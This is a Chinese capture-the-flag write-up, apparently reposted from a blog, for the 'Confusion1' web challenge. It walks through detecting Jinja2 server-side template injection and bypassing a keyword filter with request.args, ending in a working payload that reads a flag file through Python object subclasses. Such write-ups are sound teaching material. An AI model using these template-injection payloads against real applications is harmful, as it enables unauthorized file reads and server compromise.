攻防世界 web高手进阶区 7分题Confusion1

前言

继续ctf的旅程
开始攻防世界web高手进阶区的7分题
本文是Confusion1的writeup

解题过程

进来的界面如下
(后来知道是php vs python的意思,也就是给提示跟python有关)
在这里插入图片描述
惯例源码和御剑
没有东西发现

点击register
报错
在这里插入图片描述
不过在源码里有提示
在这里插入图片描述
给出了flag的位置

点击login也是类似的情况
这没有信息了
想了好一会儿
猜测是SSTI

测试

输入{ {7*7}}
返回如下:
在这里插入图片描述
确认是SSTI

输入{ { 7*'7' }}
返回如下:
在这里插入图片描述
应该是Jinja2或Twig

尝试绕过

最常用的{ {''.__class__.__mro__[2].__subclasses__()}}
在这里插入图片描述
这应该是过滤了啥
(后来发现是过滤了 class、 subclasses、 read等关键词)

尝试{ {url_for.__globals__}}
在这里插入图片描述
似乎是权限问题?

看眼{ {config}}
在这里插入图片描述
尝试request

{
    
    {
    
    ''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

在这里插入图片描述
有了
request可以用
那就简单了

最终payload

{
    
    {
    
    ''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

在这里插入图片描述
获取flag

结语

这题就是SSTI
不过提示很隐晦

  • 开始的蛇吞象==python干掉php
  • 所以是python的SSTI

一些SSTI的链接如下

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/109018095